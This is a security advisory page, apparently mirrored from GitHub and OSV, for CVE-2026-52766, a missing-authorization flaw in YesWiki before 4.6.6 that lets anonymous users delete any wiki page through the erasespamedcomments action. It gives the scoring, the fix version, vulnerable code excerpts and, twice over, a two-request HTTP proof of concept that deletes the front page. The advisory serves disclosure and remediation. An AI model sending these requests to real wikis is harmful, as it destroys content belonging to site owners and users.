CVE-2026-52766: Yeswiki/yeswiki YesWiki Vulnerable To Unauthenticated Arbitrary Vulnerability

CRITICAL
Advisory Identifier: GHSA-6x7x-gcmf-7r8x
CVSS 9.1
CWE-862 CWE-276
Published
Advisory Summary

CVE-2026-52766 is a CRITICAL (CVSS 9.1) yeswiki vulnerable to unauthenticated arbitrary vulnerability (CWE-862: Missing Authorization) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves yeswiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action. Remediation is available by upgrading affected packages to version 4.6.6.

CVE-2026-52766 at a Glance

CVE Identifier CVE-2026-52766
GHSA Identifier GHSA-6x7x-gcmf-7r8x
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-862: Missing Authorization
Affected Product Yeswiki/yeswiki
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-52766

To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yeswiki/yeswiki fixed: 4.6.6
Upgrade yeswiki/yeswiki to 4.6.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yeswiki/yeswiki

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-52766, inspect your project dependencies for Yeswiki/yeswiki:

inspect dependencies for yeswiki/yeswiki

Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users. The action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables. ### Details Three issues compose the vulnerability. 1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`: ```php public function run() { $wiki = &$this->wiki; ob_start(); // ... elseif (isset($_POST['clean'])) { $deletedPages = ''; if (!empty($_POST['suppr'])) { foreach ($_POST['suppr'] as $page) { echo 'Effacement de : ' . $page . "<br />\n"; if ($wiki->services->get(PageController::class)->delete($page)) { $deletedPages .= $page . ', '; } } } } } ``` No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check. 2. The default action ACL grants access to everyone in `includes/YesWiki.php`: ```php $acl = empty($this->config['permissions'][$moduleType][$module]) ? '*' : $this->config['permissions'][$moduleType][$module]; ``` ```php if ($acl === null) { return true; } return $this->CheckACL($acl, $user); ``` No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users. 3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`: ```php public function delete(string $tag): bool { if ($this->entryManager->isEntry($tag)) { return $this->entryController->delete($tag); } else { $this->pageManager->deleteOrphaned($tag); $this->wiki->LogAdministrativeAction( $this->authController->getLoggedUserName(), 'Suppression de la page ->""' . $tag . '""' ); return true; } } ``` in `includes/services/PageManager.php:289–310`: ```php public function deleteOrphaned($tag) { if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); } unset($this->ownersCache[$tag]); if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); } $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'"); $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' "); $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' "); // ...further unconditional DELETEs across triples, referrers, tags } ``` The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans. ### PoC Default fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing. 1. create a trigger page (anonymous) ```http POST /?wiki=SpamCleanup/edit HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded body=%7B%7Berasespamedcomments%7D%7D&submit=1 ``` This succeeds because the new page passes `aclService->hasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`. 2. trigger arbitrary page deletion (anonymous) ```http POST /?wiki=SpamCleanup HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage ``` Server response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database. ### Impact Arbitrary page deletion, including the front page (`PagePrincipale`).

CVE-2026-52766 Affected Yeswiki/yeswiki Versions

1 component(s)
Fixed Versions:
4.6.6
Product / Package Ecosystem Affected Versions Fixed Version
yeswiki/yeswiki
Packagist
< 4.6.6
4.6.6

References

Frequently Asked Questions

What is CVE-2026-52766?
CVE-2026-52766 is a security vulnerability in Yeswiki/yeswiki involving YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action under CWE-862: Missing Authorization.
Which Yeswiki/yeswiki versions are affected?
Affected versions include releases prior to 4.6.6 across affected packages: yeswiki/yeswiki.
What version fixes CVE-2026-52766?
Upgrading to 4.6.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yeswiki/yeswiki affected?
Yes, yeswiki/yeswiki is affected in releases prior to 4.6.6. Upgrade your dependency to 4.6.6 or later.
What is the CVSS score of CVE-2026-52766?
CVE-2026-52766 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-52766?
CVE-2026-52766 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-52766?
Run the dependency tree command: 'inspect dependencies for yeswiki/yeswiki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6x7x-gcmf-7r8x",
  "modified" : "2026-07-09T20:57:25Z",
  "published" : "2026-07-09T20:57:25Z",
  "aliases" : [ "CVE-2026-52766" ],
  "summary" : "YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action",
  "details" : "### Summary\n\nThe `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.\n\nThe action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables.\n\n### Details\n\nThree issues compose the vulnerability.\n\n1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`:\n\n   ```php\n   public function run()\n   {\n       $wiki = &$this->wiki;\n       ob_start();\n       // ...\n       elseif (isset($_POST['clean'])) {              \n           $deletedPages = '';\n           if (!empty($_POST['suppr'])) {            \n               foreach ($_POST['suppr'] as $page) {\n                   echo 'Effacement de : ' . $page . \"<br />\\n\";\n                   if ($wiki->services->get(PageController::class)->delete($page)) {  \n                       $deletedPages .= $page . ', ';\n                   }\n               }\n           }\n           \n       }\n   }\n   ```\n\n   No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check.\n\n2. The default action ACL grants access to everyone in `includes/YesWiki.php`:\n\n   ```php\n   $acl = empty($this->config['permissions'][$moduleType][$module])\n       ? '*'\n       : $this->config['permissions'][$moduleType][$module];\n   ```\n\n   ```php\n   if ($acl === null) { return true; }\n   return $this->CheckACL($acl, $user);\n   ```\n\n   No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users.\n\n3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`:\n\n   ```php\n   public function delete(string $tag): bool\n   {\n       if ($this->entryManager->isEntry($tag)) {\n           return $this->entryController->delete($tag);\n       } else {\n           $this->pageManager->deleteOrphaned($tag);\n           $this->wiki->LogAdministrativeAction(\n               $this->authController->getLoggedUserName(),\n               'Suppression de la page ->\"\"' . $tag . '\"\"'\n           );\n           return true;\n       }\n   }\n   ```\nin `includes/services/PageManager.php:289–310`:\n   ```php\n   public function deleteOrphaned($tag)\n   {\n       if ($this->securityController->isWikiHibernated()) { throw new \\Exception(_t('WIKI_IN_HIBERNATION')); }\n       unset($this->ownersCache[$tag]);\n       if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }\n       $this->dbService->query(\"DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'\");\n       $this->dbService->query(\"DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' \");\n       $this->dbService->query(\"DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' \");\n       // ...further unconditional DELETEs across triples, referrers, tags\n   }\n   ```\n\n   The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans.\n\n### PoC\n\nDefault fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing.\n\n1. create a trigger page (anonymous)\n\n```http\nPOST /?wiki=SpamCleanup/edit HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\n\nbody=%7B%7Berasespamedcomments%7D%7D&submit=1\n```\n\nThis succeeds because the new page passes `aclService->hasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`.\n\n2. trigger arbitrary page deletion (anonymous)\n\n```http\nPOST /?wiki=SpamCleanup HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\n\nclean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage\n```\n\nServer response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database.\n\n### Impact\n\n Arbitrary page deletion, including the front page (`PagePrincipale`).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yeswiki/yeswiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-6x7x-gcmf-7r8x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/commit/ed5b548a705c8091ba0282aaaba73ddda976abef"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YesWiki/yeswiki"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-276", "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-09T20:57:25Z",
    "nvd_published_at" : null
  }
}